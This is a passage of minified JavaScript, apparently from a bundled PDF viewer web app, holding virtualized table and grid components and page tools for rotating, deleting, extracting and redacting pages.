e.scrollLeft!==t.scrollLeft||e.scrollTop!==t.scrollTop?{scrollLeft:null!=e.scrollLeft&&e.scrollLeft>=0?e.scrollLeft:t.scrollLeft,scrollTop:null!=e.scrollTop&&e.scrollTop>=0?e.scrollTop:t.scrollTop}:null}}]),t}(l.PureComponent);pe()(nx,"defaultProps",{classNameBottomLeftGrid:"",classNameBottomRightGrid:"",classNameTopLeftGrid:"",classNameTopRightGrid:"",enableFixedColumnScroll:!1,enableFixedRowScroll:!1,fixedColumnCount:0,fixedRowCount:0,scrollToColumn:-1,scrollToRow:-1,style:{},styleBottomLeftGrid:{},styleBottomRightGrid:{},styleTopLeftGrid:{},styleTopRightGrid:{},hideTopRightGridScrollbar:!1,hideBottomLeftGridScrollbar:!1}),nx.propTypes={},Object(OS.polyfill)(nx);var rx=function(e){function t(e,n){var r;return ue()(this,t),(r=yS()(this,wS()(t).call(this,e,n))).state={clientHeight:0,clientWidth:0,scrollHeight:0,scrollLeft:0,scrollTop:0,scrollWidth:0},r._onScroll=r._onScroll.bind(SS()(r)),r}return xS()(t,e),fe()(t,[{key:"render",value:function(){var e=this.props.children,t=this.state,n=t.clientHeight,r=t.clientWidth,o=t.scrollHeight,i=t.scrollLeft,a=t.scrollTop,l=t.scrollWidth;return e({clientHeight:n,clientWidth:r,onScroll:this._onScroll,scrollHeight:o,scrollLeft:i,scrollTop:a,scrollWidth:l})}},{key:"_onScroll",value:function(e){var t=e.clientHeight,n=e.clientWidth,r=e.scrollHeight,o=e.scrollLeft,i=e.scrollTop,a=e.scrollWidth;this.setState({clientHeight:t,clientWidth:n,scrollHeight:r,scrollLeft:o,scrollTop:i,scrollWidth:a})}}]),t}(l.PureComponent);rx.propTypes={};function ox(e){var t=e.className,n=e.columns,r=e.style;return l.createElement("div",{className:t,role:"row",style:r},n)}ox.propTypes=null;var ix={ASC:"ASC",DESC:"DESC"};function ax(e){var t=e.sortDirection,n=Object(TS.default)("ReactVirtualized__Table__sortableHeaderIcon",{"ReactVirtualized__Table__sortableHeaderIcon--ASC":t===ix.ASC,"ReactVirtualized__Table__sortableHeaderIcon--DESC":t===ix.DESC});return l.createElement("svg",{className:n,width:18,height:18,viewBox:"0 0 24 24"},t===ix.ASC?l.createElement("path",{d:"M7 14l5-5 5 5z"}):l.createElement("path",{d:"M7 10l5 5 5-5z"}),l.createElement("path",{d:"M0 0h24v24H0z",fill:"none"}))}function lx(e){var t=e.dataKey,n=e.label,r=e.sortBy,o=e.sortDirection,i=r===t,a=[l.createElement("span",{className:"ReactVirtualized__Table__headerTruncatedText",key:"label",title:"string"==typeof n?n:null},n)];return i&&a.push(l.createElement(ax,{key:"SortIndicator",sortDirection:o})),a}function sx(e){var t=e.className,n=e.columns,r=e.index,o=e.key,i=e.onRowClick,a=e.onRowDoubleClick,s=e.onRowMouseOut,u=e.onRowMouseOver,c=e.onRowRightClick,f=e.rowData,d=e.style,p={"aria-rowindex":r+1};return(i||a||s||u||c)&&(p["aria-label"]="row",p.tabIndex=0,i&&(p.onClick=function(e){return i({event:e,index:r,rowData:f})}),a&&(p.onDoubleClick=function(e){return a({event:e,index:r,rowData:f})}),s&&(p.onMouseOut=function(e){return s({event:e,index:r,rowData:f})}),u&&(p.onMouseOver=function(e){return u({event:e,index:r,rowData:f})}),c&&(p.onContextMenu=function(e){return c({event:e,index:r,rowData:f})})),l.createElement("div",_S()({},p,{className:t,key:o,role:"row",style:d}),n)}ax.propTypes={},lx.propTypes=null,sx.propTypes=null;var ux=function(e){function t(){return ue()(this,t),yS()(this,wS()(t).apply(this,arguments))}return xS()(t,e),t}(l.Component);function cx(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter((function(t){return Object.getOwnPropertyDescriptor(e,t).enumerable}))),n.push.apply(n,r)}return n}function fx(e){for(var t=1;t<arguments.length;t++){var n=null!=arguments[t]?arguments[t]:{};t%2?cx(n,!0).forEach((function(t){pe()(e,t,n[t])})):Object.getOwnPropertyDescriptors?Object.defineProperties(e,Object.getOwnPropertyDescriptors(n)):cx(n).forEach((function(t){Object.defineProperty(e,t,Object.getOwnPropertyDescriptor(n,t))}))}return e}pe()(ux,"defaultProps",{cellDataGetter:function(e){var t=e.dataKey,n=e.rowData;return"function"==typeof n.get?n.get(t):n[t]},cellRenderer:function(e){var t=e.cellData;return null==t?"":String(t)},defaultSortDirection:ix.ASC,flexGrow:0,flexShrink:1,headerRenderer:lx,style:{}}),ux.propTypes={};var dx=function(e){function t(e){var n;return ue()(this,t),(n=yS()(this,wS()(t).call(this,e))).state={scrollbarWidth:0},n._createColumn=n._createColumn.bind(SS()(n)),n._createRow=n._createRow.bind(SS()(n)),n._onScroll=n._onScroll.bind(SS()(n)),n._onSectionRendered=n._onSectionRendered.bind(SS()(n)),n._setRef=n._setRef.bind(SS()(n)),n}return xS()(t,e),fe()(t,[{key:"forceUpdateGrid",value:function(){this.Grid&&this.Grid.forceUpdate()}},{key:"getOffsetForRow",value:function(e){var t=e.alignment,n=e.index;return this.Grid?this.Grid.getOffsetForCell({alignment:t,rowIndex:n}).scrollTop:0}},{key:"invalidateCellSizeAfterRender",value:function(e){var t=e.columnIndex,n=e.rowIndex;this.Grid&&this.Grid.invalidateCellSizeAfterRender({rowIndex:n,columnIndex:t})}},{key:"measureAllRows",value:function(){this.Grid&&this.Grid.measureAllCells()}},{key:"recomputeGridSize",value:function(){var e=arguments.length>0&&void 0!==arguments[0]?arguments[0]:{},t=e.columnIndex,n=void 0===t?0:t,r=e.rowIndex,o=void 0===r?0:r;this.Grid&&this.Grid.recomputeGridSize({rowIndex:o,columnIndex:n})}},{key:"recomputeRowHeights",value:function(){var e=arguments.length>0&&void 0!==arguments[0]?arguments[0]:0;this.Grid&&this.Grid.recomputeGridSize({rowIndex:e})}},{key:"scrollToPosition",value:function(){var e=arguments.length>0&&void 0!==arguments[0]?arguments[0]:0;this.Grid&&this.Grid.scrollToPosition({scrollTop:e})}},{key:"scrollToRow",value:function(){var e=arguments.length>0&&void 0!==arguments[0]?arguments[0]:0;this.Grid&&this.Grid.scrollToCell({columnIndex:0,rowIndex:e})}},{key:"getScrollbarWidth",value:function(){if(this.Grid){var e=Object(u.findDOMNode)(this.Grid),t=e.clientWidth||0;return(e.offsetWidth||0)-t}return 0}},{key:"componentDidMount",value:function(){this._setScrollbarWidth()}},{key:"componentDidUpdate",value:function(){this._setScrollbarWidth()}},{key:"render",value:function(){var e=this,t=this.props,n=t.children,r=t.className,o=t.disableHeader,i=t.gridClassName,a=t.gridStyle,s=t.headerHeight,u=t.headerRowRenderer,c=t.height,f=t.id,d=t.noRowsRenderer,p=t.rowClassName,h=t.rowStyle,m=t.scrollToIndex,g=t.style,v=t.width,y=this.state.scrollbarWidth,b=o?c:c-s,w="function"==typeof p?p({index:-1}):p,E="function"==typeof h?h({index:-1}):h;return this._cachedColumnStyles=[],l.Children.toArray(n).forEach((function(t,n){var r=e._getFlexStyleForColumn(t,t.props.style);e._cachedColumnStyles[n]=fx({overflow:"hidden"},r)})),l.createElement("div",{"aria-label":this.props["aria-label"],"aria-labelledby":this.props["aria-labelledby"],"aria-colcount":l.Children.toArray(n).length,"aria-rowcount":this.props.rowCount,className:Object(TS.default)("ReactVirtualized__Table",r),id:f,role:"grid",style:g},!o&&u({className:Object(TS.default)("ReactVirtualized__Table__headerRow",w),columns:this._getHeaderColumns(),style:fx({height:s,overflow:"hidden",paddingRight:y,width:v},E)}),l.createElement(KS,_S()({},this.props,{"aria-readonly":null,autoContainerWidth:!0,className:Object(TS.default)("ReactVirtualized__Table__Grid",i),cellRenderer:this._createRow,columnWidth:v,columnCount:1,height:b,id:void 0,noContentRenderer:d,onScroll:this._onScroll,onSectionRendered:this._onSectionRendered,ref:this._setRef,role:"rowgroup",scrollbarWidth:y,scrollToRow:m,style:fx({},a,{overflowX:"hidden"})})))}},{key:"_createColumn",value:function(e){var t=e.column,n=e.columnIndex,r=e.isScrolling,o=e.parent,i=e.rowData,a=e.rowIndex,s=this.props.onColumnClick,u=t.props,c=u.cellDataGetter,f=u.cellRenderer,d=u.className,p=u.columnData,h=u.dataKey,m=u.id,g=f({cellData:c({columnData:p,dataKey:h,rowData:i}),columnData:p,columnIndex:n,dataKey:h,isScrolling:r,parent:o,rowData:i,rowIndex:a}),v=this._cachedColumnStyles[n],y="string"==typeof g?g:null;return l.createElement("div",{"aria-colindex":n+1,"aria-describedby":m,className:Object(TS.default)("ReactVirtualized__Table__rowColumn",d),key:"Row"+a+"-Col"+n,onClick:function(e){s&&s({columnData:p,dataKey:h,event:e})},role:"gridcell",style:v,title:y},g)}},{key:"_createHeader",value:function(e){var t,n,r,o,i,a=e.column,s=e.index,u=this.props,c=u.headerClassName,f=u.headerStyle,d=u.onHeaderClick,p=u.sort,h=u.sortBy,m=u.sortDirection,g=a.props,v=g.columnData,y=g.dataKey,b=g.defaultSortDirection,w=g.disableSort,E=g.headerRenderer,S=g.id,C=g.label,x=!w&&p,O=Object(TS.default)("ReactVirtualized__Table__headerColumn",c,a.props.headerClassName,{ReactVirtualized__Table__sortableHeaderColumn:x}),A=this._getFlexStyleForColumn(a,fx({},f,{},a.props.headerStyle)),_=E({columnData:v,dataKey:y,disableSort:w,label:C,sortBy:h,sortDirection:m});if(x||d){var T=h!==y?b:m===ix.DESC?ix.ASC:ix.DESC,k=function(e){x&&p({defaultSortDirection:b,event:e,sortBy:y,sortDirection:T}),d&&d({columnData:v,dataKey:y,event:e})};i=a.props["aria-label"]||C||y,o="none",r=0,t=k,n=function(e){"Enter"!==e.key&&" "!==e.key||k(e)}}return h===y&&(o=m===ix.ASC?"ascending":"descending"),l.createElement("div",{"aria-label":i,"aria-sort":o,className:O,id:S,key:"Header-Col"+s,onClick:t,onKeyDown:n,role:"columnheader",style:A,tabIndex:r},_)}},{key:"_createRow",value:function(e){var t=this,n=e.rowIndex,r=e.isScrolling,o=e.key,i=e.parent,a=e.style,s=this.props,u=s.children,c=s.onRowClick,f=s.onRowDoubleClick,d=s.onRowRightClick,p=s.onRowMouseOver,h=s.onRowMouseOut,m=s.rowClassName,g=s.rowGetter,v=s.rowRenderer,y=s.rowStyle,b=this.state.scrollbarWidth,w="function"==typeof m?m({index:n}):m,E="function"==typeof y?y({index:n}):y,S=g({index:n}),C=l.Children.toArray(u).map((function(e,o){return t._createColumn({column:e,columnIndex:o,isScrolling:r,parent:i,rowData:S,rowIndex:n,scrollbarWidth:b})})),x=Object(TS.default)("ReactVirtualized__Table__row",w),O=fx({},a,{height:this._getRowHeight(n),overflow:"hidden",paddingRight:b},E);return v({className:x,columns:C,index:n,isScrolling:r,key:o,onRowClick:c,onRowDoubleClick:f,onRowRightClick:d,onRowMouseOver:p,onRowMouseOut:h,rowData:S,style:O})}},{key:"_getFlexStyleForColumn",value:function(e){var t=arguments.length>1&&void 0!==arguments[1]?arguments[1]:{},n="".concat(e.props.flexGrow," ").concat(e.props.flexShrink," ").concat(e.props.width,"px"),r=fx({},t,{flex:n,msFlex:n,WebkitFlex:n});return e.props.maxWidth&&(r.maxWidth=e.props.maxWidth),e.props.minWidth&&(r.minWidth=e.props.minWidth),r}},{key:"_getHeaderColumns",value:function(){var e=this,t=this.props,n=t.children;return(t.disableHeader?[]:l.Children.toArray(n)).map((function(t,n){return e._createHeader({column:t,index:n})}))}},{key:"_getRowHeight",value:function(e){var t=this.props.rowHeight;return"function"==typeof t?t({index:e}):t}},{key:"_onScroll",value:function(e){var t=e.clientHeight,n=e.scrollHeight,r=e.scrollTop;(0,this.props.onScroll)({clientHeight:t,scrollHeight:n,scrollTop:r})}},{key:"_onSectionRendered",value:function(e){var t=e.rowOverscanStartIndex,n=e.rowOverscanStopIndex,r=e.rowStartIndex,o=e.rowStopIndex;(0,this.props.onRowsRendered)({overscanStartIndex:t,overscanStopIndex:n,startIndex:r,stopIndex:o})}},{key:"_setRef",value:function(e){this.Grid=e}},{key:"_setScrollbarWidth",value:function(){var e=this.getScrollbarWidth();this.setState({scrollbarWidth:e})}}]),t}(l.PureComponent);pe()(dx,"defaultProps",{disableHeader:!1,estimatedRowSize:30,headerHeight:0,headerStyle:{},noRowsRenderer:function(){return null},onRowsRendered:function(){return null},onScroll:function(){return null},overscanIndicesGetter:XS,overscanRowCount:10,rowRenderer:sx,headerRowRenderer:ox,rowStyle:{},scrollToAlignment:"auto",scrollToIndex:-1,style:{}}),dx.propTypes={};var px=[],hx=null,mx=null;function gx(){mx&&(mx=null,document.body&&null!=hx&&(document.body.style.pointerEvents=hx),hx=null)}function vx(){gx(),px.forEach((function(e){return e.__resetIsScrolling()}))}function yx(e){e.currentTarget===window&&null==hx&&document.body&&(hx=document.body.style.pointerEvents,document.body.style.pointerEvents="none"),function(){mx&&US(mx);var e=0;px.forEach((function(t){e=Math.max(e,t.props.scrollingResetTimeInterval)})),mx=GS(vx,e)}(),px.forEach((function(t){t.props.scrollElement===e.currentTarget&&t.__handleWindowScrollEvent()}))}function bx(e,t){px.some((function(e){return e.props.scrollElement===t}))||t.addEventListener("scroll",yx),px.push(e)}function wx(e,t){(px=px.filter((function(t){return t!==e}))).length||(t.removeEventListener("scroll",yx),mx&&(US(mx),gx()))}var Ex,Sx,Cx=function(e){return e===window},xx=function(e){return e.getBoundingClientRect()};function Ox(e,t){if(e){if(Cx(e)){var n=window,r=n.innerHeight,o=n.innerWidth;return{height:"number"==typeof r?r:0,width:"number"==typeof o?o:0}}return xx(e)}return{height:t.serverHeight,width:t.serverWidth}}function Ax(e,t){if(Cx(t)&&document.documentElement){var n=document.documentElement,r=xx(e),o=xx(n);return{top:r.top-o.top,left:r.left-o.left}}var i=_x(t),a=xx(e),l=xx(t);return{top:a.top+i.top-l.top,left:a.left+i.left-l.left}}function _x(e){return Cx(e)&&document.documentElement?{top:"scrollY"in window?window.scrollY:document.documentElement.scrollTop,left:"scrollX"in window?window.scrollX:document.documentElement.scrollLeft}:{top:e.scrollTop,left:e.scrollLeft}}function Tx(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter((function(t){return Object.getOwnPropertyDescriptor(e,t).enumerable}))),n.push.apply(n,r)}return n}function kx(e){for(var t=1;t<arguments.length;t++){var n=null!=arguments[t]?arguments[t]:{};t%2?Tx(n,!0).forEach((function(t){pe()(e,t,n[t])})):Object.getOwnPropertyDescriptors?Object.defineProperties(e,Object.getOwnPropertyDescriptors(n)):Tx(n).forEach((function(t){Object.defineProperty(e,t,Object.getOwnPropertyDescriptor(n,t))}))}return e}var Px=function(){return"undefined"!=typeof window?window:void 0},Mx=(Sx=Ex=function(e){function t(){var e,n;ue()(this,t);for(var r=arguments.length,o=new Array(r),i=0;i<r;i++)o[i]=arguments[i];return n=yS()(this,(e=wS()(t)).call.apply(e,[this].concat(o))),pe()(SS()(n),"_window",Px()),pe()(SS()(n),"_isMounted",!1),pe()(SS()(n),"_positionFromTop",0),pe()(SS()(n),"_positionFromLeft",0),pe()(SS()(n),"_detectElementResize",void 0),pe()(SS()(n),"_child",void 0),pe()(SS()(n),"state",kx({},Ox(n.props.scrollElement,n.props),{isScrolling:!1,scrollLeft:0,scrollTop:0})),pe()(SS()(n),"_registerChild",(function(e){!e||e instanceof Element||console.warn("WindowScroller registerChild expects to be passed Element or null"),n._child=e,n.updatePosition()})),pe()(SS()(n),"_onChildScroll",(function(e){var t=e.scrollTop;if(n.state.scrollTop!==t){var r=n.props.scrollElement;r&&("function"==typeof r.scrollTo?r.scrollTo(0,t+n._positionFromTop):r.scrollTop=t+n._positionFromTop)}})),pe()(SS()(n),"_registerResizeListener",(function(e){e===window?window.addEventListener("resize",n._onResize,!1):n._detectElementResize.addResizeListener(e,n._onResize)})),pe()(SS()(n),"_unregisterResizeListener",(function(e){e===window?window.removeEventListener("resize",n._onResize,!1):e&&n._detectElementResize.removeResizeListener(e,n._onResize)})),pe()(SS()(n),"_onResize",(function(){n.updatePosition()})),pe()(SS()(n),"__handleWindowScrollEvent",(function(){if(n._isMounted){var e=n.props.onScroll,t=n.props.scrollElement;if(t){var r=_x(t),o=Math.max(0,r.left-n._positionFromLeft),i=Math.max(0,r.top-n._positionFromTop);n.setState({isScrolling:!0,scrollLeft:o,scrollTop:i}),e({scrollLeft:o,scrollTop:i})}}})),pe()(SS()(n),"__resetIsScrolling",(function(){n.setState({isScrolling:!1})})),n}return xS()(t,e),fe()(t,[{key:"updatePosition",value:function(){var e=arguments.length>0&&void 0!==arguments[0]?arguments[0]:this.props.scrollElement,t=this.props.onResize,n=this.state,r=n.height,o=n.width,i=this._child||u.findDOMNode(this);if(i instanceof Element&&e){var a=Ax(i,e);this._positionFromTop=a.top,this._positionFromLeft=a.left}var l=Ox(e,this.props);r===l.height&&o===l.width||(this.setState({height:l.height,width:l.width}),t({height:l.height,width:l.width}))}},{key:"componentDidMount",value:function(){var e=this.props.scrollElement;this._detectElementResize=Object(oC.a)(),this.updatePosition(e),e&&(bx(this,e),this._registerResizeListener(e)),this._isMounted=!0}},{key:"componentDidUpdate",value:function(e,t){var n=this.props.scrollElement,r=e.scrollElement;r!==n&&null!=r&&null!=n&&(this.updatePosition(n),wx(this,r),bx(this,n),this._unregisterResizeListener(r),this._registerResizeListener(n))}},{key:"componentWillUnmount",value:function(){var e=this.props.scrollElement;e&&(wx(this,e),this._unregisterResizeListener(e)),this._isMounted=!1}},{key:"render",value:function(){var e=this.props.children,t=this.state,n=t.isScrolling,r=t.scrollTop,o=t.scrollLeft,i=t.height,a=t.width;return e({onChildScroll:this._onChildScroll,registerChild:this._registerChild,height:i,isScrolling:n,scrollLeft:o,scrollTop:r,width:a})}}]),t}(l.PureComponent),pe()(Ex,"propTypes",null),Sx);pe()(Mx,"defaultProps",{onResize:function(){},onScroll:function(){},scrollingResetTimeInterval:150,scrollElement:Px(),serverHeight:0,serverWidth:0});var Rx=function(){var e=arguments.length>0&&void 0!==arguments[0]?arguments[0]:function(){},t=arguments.length>1?arguments[1]:void 0,n=Object(l.useRef)(!1);Object(l.useEffect)((function(){if(n.current)return e();n.current=!0}),t)};function jx(e,t,n,r,o,i,a){try{var l=e[i](a),s=l.value}catch(e){return void n(e)}l.done?t(s):Promise.resolve(s).then(r,o)}var Lx,Ix=function(){var e,t=(e=regeneratorRuntime.mark((function e(t){var n,r,o,i;return regeneratorRuntime.wrap((function(e){for(;;)switch(e.prev=e.next){case 0:if(n=window.documentViewer.getDocument(),r=window.documentViewer.getAnnotationManager(),o=n.getPageCount(),!t.some((function(e){return e<1||e>o}))){e.next=6;break}return e.abrupt("return",Promise.reject("Page out of range, please enter an array of numbers between 1 and ".concat(o)));case 6:return i=new Promise((function(e,o){try{var i=new Map;t.forEach((function(e){return i.set(e,!0)}));var a=r.getAnnotationsList().filter((function(e){return i.has(e.PageNumber)}));r.exportAnnotations({annotList:a}).then((function(r){n.extractPages(t,r).then((function(t){var r=new Uint8Array(t),o="".concat(n.getFilename(),".pdf")||!1,i=null;i=kt?new Blob([r],{type:"application/pdf"}):new File([r],o,{type:"application/pdf"}),e(i)})).catch((function(e){o(e)}))}))}catch(e){o(e)}})),e.abrupt("return",i);case 8:case"end":return e.stop()}}),e)})),function(){var t=this,n=arguments;return new Promise((function(r,o){var i=e.apply(t,n);function a(e){jx(i,r,o,a,l,"next",e)}function l(e){jx(i,r,o,a,l,"throw",e)}a(void 0)}))});return function(e){return t.apply(this,arguments)}}();function Nx(e,t,n){return t in e?Object.defineProperty(e,t,{value:n,enumerable:!0,configurable:!0,writable:!0}):e[t]=n,e}var Dx="region",Fx="text",Bx="fullPage",Hx="fullVideoFrame",Vx="audioRedaction",zx="fullVideoFrameAndAudio",Ux="creditCard",Gx="phone",Wx="image",qx="email",Zx=(Nx(Lx={},Dx,{icon:"icon-tool-redaction-area",label:"redactionPanel.redactionItem.regionRedaction"}),Nx(Lx,Bx,{icon:"icon-header-page-manipulation-page-transition-page-by-page-line",label:"redactionPanel.redactionItem.fullPageRedaction"}),Nx(Lx,Hx,{icon:"ic-full-frame-video-redact",label:"redactionPanel.redactionItem.fullVideoFrameRedaction"}),Nx(Lx,Vx,{icon:"ic-audio-redact",label:"redactionPanel.redactionItem.audioRedaction"}),Nx(Lx,zx,{icon:"ic-full-frame-video-and-audio-redact",label:"redactionPanel.redactionItem.fullVideoFrameAndAudioRedaction"}),Nx(Lx,Fx,{icon:"icon-form-field-text"}),Nx(Lx,Wx,{icon:"redact-icons-image",label:"redactionPanel.redactionItem.image"}),Lx);function Yx(e,t,n,r,o,i,a){try{var l=e[i](a),s=l.value}catch(e){return void n(e)}l.done?t(s):Promise.resolve(s).then(r,o)}function $x(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter((function(t){return Object.getOwnPropertyDescriptor(e,t).enumerable}))),n.push.apply(n,r)}return n}function Kx(e){for(var t=1;t<arguments.length;t++){var n=null!=arguments[t]?arguments[t]:{};t%2?$x(Object(n),!0).forEach((function(t){Xx(e,t,n[t])})):Object.getOwnPropertyDescriptors?Object.defineProperties(e,Object.getOwnPropertyDescriptors(n)):$x(Object(n)).forEach((function(t){Object.defineProperty(e,t,Object.getOwnPropertyDescriptor(n,t))}))}return e}function Xx(e,t,n){return t in e?Object.defineProperty(e,t,{value:n,enumerable:!0,configurable:!0,writable:!0}):e[t]=n,e}function Qx(e,t){var n="undefined"!=typeof Symbol&&e[Symbol.iterator]||e["@@iterator"];if(!n){if(Array.isArray(e)||(n=function(e,t){if(!e)return;if("string"==typeof e)return Jx(e,t);var n=Object.prototype.toString.call(e).slice(8,-1);"Object"===n&&e.constructor&&(n=e.constructor.name);if("Map"===n||"Set"===n)return Array.from(e);if("Arguments"===n||/^(?:Ui|I)nt(?:8|16|32)(?:Clamped)?Array$/.test(n))return Jx(e,t)}(e))||t&&e&&"number"==typeof e.length){n&&(e=n);var r=0,o=function(){};return{s:o,n:function(){return r>=e.length?{done:!0}:{done:!1,value:e[r++]}},e:function(e){throw e},f:o}}throw new TypeError("Invalid attempt to iterate non-iterable instance.\nIn order to be iterable, non-array objects must have a [Symbol.iterator]() method.")}var i,a=!0,l=!1;return{s:function(){n=n.call(e)},n:function(){var e=n.next();return a=e.done,e},e:function(e){l=!0,i=e},f:function(){try{a||null==n.return||n.return()}finally{if(l)throw i}}}}function Jx(e,t){(null==t||t>e.length)&&(t=e.length);for(var n=0,r=new Array(t);n<t;n++)r[n]=e[n];return r}var eO=function(e){var t=arguments.length>1&&void 0!==arguments[1]&&arguments[1],n=window.Core.PageRotation,r=n.E_0,o=n.E_90,i=n.E_180,a=n.E_270;switch(e){case a:return t?i:r;case i:return t?o:a;case o:return t?r:i;default:return t?a:o}},tO=function(e,t){if(s=vt.getDocument(),u=null==s?void 0:s.type,zu===u||Vu===u||u===Wu&&!s.isWebViewerServerDocument()){var n=t?window.Core.PageRotation.E_270:window.Core.PageRotation.E_90;e.forEach((function(e){vt.rotatePages([e],n)}))}else{var r,o=vt.getDocumentViewer(),i=o.getPageRotations(),a=Qx(e);try{for(a.s();!(r=a.n()).done;){var l=r.value;o.setRotation(eO(i[l],t),l)}}catch(e){a.e(e)}finally{a.f()}}var s,u},nO=function(e){tO(e,!1)},rO=function(e){tO(e,!0)},oO=function(e){vt.insertBlankPages(e,vt.getPageWidth(e[0]),vt.getPageHeight(e[0]))},iO=function(e){vt.insertBlankPages(e.map((function(e){return e+1})),vt.getPageWidth(e[0]),vt.getPageHeight(e[0]))},aO=function(e){e(Ps.openElement("pageReplacementModal"))},lO=function(e,t){var n={message:st.t("warning.extractPage.message"),title:st.t("warning.extractPage.title"),confirmBtnText:st.t("warning.extractPage.confirmBtn"),onConfirm:function(){return Ix(e).then((function(e){Object(Uh.saveAs)(e,"extractedDocument.pdf")}))},secondaryBtnText:st.t("warning.extractPage.secondaryBtn"),onSecondary:function(){Ix(e).then((function(n){Object(Uh.saveAs)(n,"extractedDocument.pdf"),vt.removePages(e).then((function(){t(Ps.setSelectedPageThumbnails([]))}))}))}};t(Ps.showWarningMessage(n))},sO=function(e,t){var n=!(arguments.length>2&&void 0!==arguments[2])||arguments[2];if(n){var r=st.t("warning.deletePage.deleteMessage"),o=st.t("warning.deletePage.deleteTitle"),i=st.t("action.ok"),a={message:r,title:o,confirmBtnText:i,onConfirm:function(){return vt.removePages(e).then((function(){t(Ps.setSelectedPageThumbnails([]))}))}};vt.getDocumentViewer().getPageCount()===e.length&&(a={message:r=st.t("warning.deletePage.deleteLastPageMessage"),title:o,confirmBtnText:i,onConfirm:function(){return Promise.resolve()}}),t(Ps.showWarningMessage(a))}else vt.removePages(e).then((function(){t(Ps.setSelectedPageThumbnails([]))}))},uO=function(e){vt.movePages(e,vt.getTotalPages()+1)},cO=function(e){vt.movePages(e,0)},fO=function(e,t){if(0===e.length){var n=st.t("warning.selectPage.selectTitle"),r={message:st.t("warning.selectPage.selectMessage"),title:n,confirmBtnText:st.t("action.ok"),onConfirm:function(){return Promise.resolve()},keepOpen:["leftPanel"]};return t(Ps.showWarningMessage(r)),!0}return!1},dO=function(e,t){var n,r=[],o=Qx(e);try{for(o.s();!(n=o.n()).done;){var i=n.value,a=vt.getPageInfo(i);if(a){var l=new Annotations.RedactionAnnotation(Kx({PageNumber:i,Rect:new Annotations.Rect(0,0,a.width,a.height)},t));l.type=Bx,l.setCustomData("trn-redaction-type",Bx),l.Author=vt.getCurrentUser(),r.push(l)}}}catch(e){o.e(e)}finally{o.f()}return vt.getAnnotationManager().addAnnotations(r),vt.getAnnotationManager().drawAnnotationsFromList(r),r},pO=function(){var e,t=(e=regeneratorRuntime.mark((function e(t,n,r){var o,i,a;return regeneratorRuntime.wrap((function(e){for(;;)switch(e.prev=e.next){case 0:if(o=vt.getDocument(),i=o.getPageCount(),a=n.sort((function(e,t){return e-t})),1!==i&&a.length!==i){e.next=10;break}return e.next=6,o.insertPages(t,r);case 6:return e.next=8,o.removePages(a);case 8:e.next=14;break;case 10:return e.next=12,o.removePages(a);case 12:return e.next=14,o.insertPages(t,r,a[0]);case 14:case"end":return e.stop()}}),e)})),function(){var t=this,n=arguments;return new Promise((function(r,o){var i=e.apply(t,n);function a(e){Yx(i,r,o,a,l,"next",e)}function l(e){Yx(i,r,o,a,l,"throw",e)}a(void 0)}))});return function(e,n,r){return t.apply(this,arguments)}}();n(990);var hO=function(e){var t=e.className,n=e.pageIndex,r=re(),o=le((function(e){return fi.getSelectedThumbnailPageIndexes(e)}));return s.a.createElement("div",{className:t,onClick:function(){-1===o.indexOf(n)&&r(Ps.setSelectedPageThumbnails([n]))}},s.a.createElement(Df,{dataElement:"pageManipulationOverlayButton",element:"pageManipulationOverlay",img:"icon-tool-more"}))};function mO(e,t){return function(e){if(Array.isArray(e))return e}(e)||function(e,t){var n=null==e?null:"undefined"!=typeof Symbol&&e[Symbol.iterator]||e["@@iterator"];if(null==n)return;var r,o,i=[],a=!0,l=!1;try{for(n=n.call(e);!(a=(r=n.next()).done)&&(i.push(r.value),!t||i.length!==t);a=!0);}catch(e){l=!0,o=e}finally{try{a||null==n.return||n.return()}finally{if(l)throw o}}return i}(e,t)||function(e,t){if(!e)return;if("string"==typeof e)return gO(e,t);var n=Object.prototype.toString.call(e).slice(8,-1);"Object"===n&&e.constructor&&(n=e.constructor.name);if("Map"===n||"Set"===n)return Array.from(e);if("Arguments"===n||/^(?:Ui|I)nt(?:8|16|32)(?:Clamped)?Array$/.test(n))return gO(e,t)}(e,t)||function(){throw new TypeError("Invalid attempt to destructure non-iterable instance.\nIn order to be iterable, non-array objects must have a [Symbol.iterator]() method.")}()}function gO(e,t){(null==t||t>e.length)&&(t=e.length);for(var n=0,r=new Array(t);n<t;n++)r[n]=e[n];return r}var vO={index:Is.a.number.isRequired},yO=function(e){var t=e.index,n=mO(le((function(e){return[fi.isElementDisabled(e,"thumbnailControl")]})),1)[0],r=mO(le((function(e){return[fi.isElementDisabled(e,"pageManipulationOverlayButton")]})),1)[0],o=mO(le((function(e){return[fi.pageDeletionConfirmationModalEnabled(e),fi.getSelectedThumbnailPageIndexes(e)]})),2),i=o[0],a=o[1],l=re(),u=mO(le((function(e){return[fi.getCurrentPage(e),fi.getThumbnailControlMenuItems(e)]}),N),2),c=u[0],f=u[1],d=a.length>0?a.map((function(e){return e+1})):[t+1],p=vt.getDocument(),h=null==p?void 0:p.type,m=h===qu,g=h===Uu||h===Gu,v={thumbRotateClockwise:s.a.createElement(bf,{className:"rotate-button",img:"icon-header-page-manipulation-page-rotation-clockwise-line",onClick:function(){return nO(d)},title:"option.thumbnailPanel.rotateClockwise",dataElement:"thumbRotateClockwise"}),thumbRotateCounterClockwise:s.a.createElement(bf,{img:"icon-header-page-manipulation-page-rotation-counterclockwise-line",onClick:function(){return rO(d)},title:"option.thumbnailPanel.rotateCounterClockwise",dataElement:"thumbRotateCounterClockwise"}),thumbDelete:s.a.createElement(bf,{className:"delete-button",img:"icon-delete-line",onClick:function(){return sO(d,l,i)},title:"option.thumbnailPanel.delete",dataElement:"thumbDelete"})},y=!1,b=[],w=f.map((function(e,t){var n=e.dataElement,r=n,o=v[n];if(b.indexOf(n)>-1)return null;if(b.push(n),!o){y=!0;var i=e.img,a=e.onClick,l=e.title;o=s.a.createElement(bf,{className:"".concat(n,"-button"),img:i,onClick:function(){return a(c)},title:l,dataElement:n})}return o?s.a.cloneElement(o,{key:r}):null}));return n?null:m||g||null!=p&&p.isWebViewerServerDocument()?s.a.createElement("div",{className:"thumbnailControls-overlay","data-element":"thumbnailControl",style:{display:"flex"}},s.a.createElement(bf,{img:"icon-header-page-manipulation-page-rotation-counterclockwise-line",onClick:function(){return 